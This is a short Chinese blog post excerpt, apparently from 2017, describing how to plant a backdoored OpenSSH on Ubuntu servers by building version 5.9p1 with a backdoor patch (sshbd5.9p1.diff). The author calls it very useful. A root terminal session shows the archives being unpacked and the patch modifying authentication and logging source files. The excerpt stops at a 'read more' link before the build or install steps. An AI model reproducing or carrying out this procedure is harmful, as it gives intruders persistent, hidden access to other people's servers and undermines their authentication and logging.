Openssh后门 - Ubuntu/Centos

作者: 分类: *nix,Security 时间: 2017-06-26 评论: 暂无评论

这个后门真的好用...网上流传的都是Centos的版本,因为场景不同,我研究了一下针对Ubuntu,大同小异。

我的理解是在服务器在装一个不同版本的Openssh,打上相应的Patch使其能正常运作。

两个文件我存起来了:

openssh-5.9p1.tar.gz

openssh-5.9p1.patch.tar.gz

root:openssh-5.9p1/ # ssh -V                                                             [15:52:04]
OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.8, OpenSSL 1.0.1f 6 Jan 2014
root:~/ # ls                                                                             [15:52:24]
openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gz
root:~/ # tar zxf openssh-5.9p1.patch.tar.gz                                             [15:52:27]
root:~/ # tar zxf openssh-5.9p1.tar.gz                                                   [15:52:36]
root:~/ # ls                                                                             [15:52:41]
openssh-5.9p1  openssh-5.9p1.patch  openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gz
root:~/ # cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/                          [15:52:44]
root:~/ # cd openssh-5.9p1                                                               [15:53:01]
root:openssh-5.9p1/ # patch < sshbd5.9p1.diff                                            [15:53:29]
patching file auth.c
patching file auth-pam.c
patching file auth-passwd.c
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c
patching file sshconnect2.c
patching file sshlogin.c
patching file version.h
root:openssh-5.9p1/ #

阅读全文»